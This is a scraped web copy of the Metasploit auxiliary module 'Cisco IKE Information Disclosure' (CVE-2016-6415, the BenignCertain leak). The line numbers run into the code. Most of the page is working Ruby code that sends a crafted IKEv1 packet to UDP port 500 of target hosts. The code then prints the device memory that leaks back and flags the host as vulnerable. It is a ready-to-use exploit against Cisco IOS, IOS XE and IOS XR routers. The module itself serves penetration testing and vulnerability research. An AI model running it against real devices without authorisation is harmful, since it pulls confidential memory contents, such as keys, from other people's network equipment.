Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/ike/cisco_ike_benigncertain.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Scanner7include Msf::Auxiliary::Report89def initialize(info = {})10super(update_info(info,11'Name' => 'Cisco IKE Information Disclosure',12'Description' => %q{13A vulnerability in Internet Key Exchange version 1 (IKEv1) packet14processing code in Cisco IOS, Cisco IOS XE, and Cisco IOS XR Software15could allow an unauthenticated, remote attacker to retrieve memory16contents, which could lead to the disclosure of confidential information.1718The vulnerability is due to insufficient condition checks in the part19of the code that handles IKEv1 security negotiation requests.20An attacker could exploit this vulnerability by sending a crafted IKEv121packet to an affected device configured to accept IKEv1 security22negotiation requests. A successful exploit could allow the attacker23to retrieve memory contents, which could lead to the disclosure of24confidential information.25},26'Author' => [ 'Nixawk' ],27'License' => MSF_LICENSE,28'References' =>29[30[ 'CVE', '2016-6415' ],31[ 'URL', 'https://github.com/adamcaudill/EquationGroupLeak/tree/master/Firewall/TOOLS/BenignCertain/benigncertain-v1110' ],32[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160916-ikev1' ],33[ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2016-6415' ],34[ 'URL', 'https://musalbas.com/2016/08/18/equation-group-benigncertain.html' ]35],36'DisclosureDate' => '2016-09-29'37))3839register_options(40[41Opt::RPORT(500),42OptPath.new('PACKETFILE',43[ true, 'The ISAKMP packet file', File.join(Msf::Config.data_directory, 'exploits', 'cve-2016-6415', 'sendpacket.raw') ])44])45end4647def run_host(ip)48begin49isakmp_pkt = File.read(datastore['PACKETFILE'])50peer = "#{ip}:#{datastore['RPORT']}"5152udp_sock = Rex::Socket::Udp.create(53{54'Context' => { 'Msf' => framework, 'MsfExploit' => self }55}56)5758add_socket(udp_sock)5960udp_sock.sendto(isakmp_pkt, ip, datastore['RPORT'].to_i)61res = udp_sock.get(3)62return unless res && res.length > 36 # ISAKMP + 36 -> Notitication Data...6364# Convert non-printable characters to periods65printable_data = res.gsub(/[^[:print:]]/, '.')6667# Show abbreviated data68vprint_status("Printable info leaked:\n#{printable_data}")6970chars = res.unpack('C*')71len = (chars[30].to_s(16) + chars[31].to_s(16)).hex7273return if len <= 074print_good("#{peer} - IKE response with leak")75report_vuln({76:host => ip,77:port => datastore['RPORT'],78:proto => 'udp',79:name => self.name,80:refs => self.references,81:info => "Vulnerable to Cisco IKE Information Disclosure"82})8384# NETWORK may return the same packet data.85return if res.length < 250086pkt_md5 = ::Rex::Text.md5(isakmp_pkt[isakmp_pkt.length-2500, isakmp_pkt.length])87res_md5 = ::Rex::Text.md5(res[res.length-2500, res.length])8889print_warning("#{peer} - IKE response is same to payload data") if pkt_md5 == res_md590rescue91ensure92udp_sock.close93end94end95end969798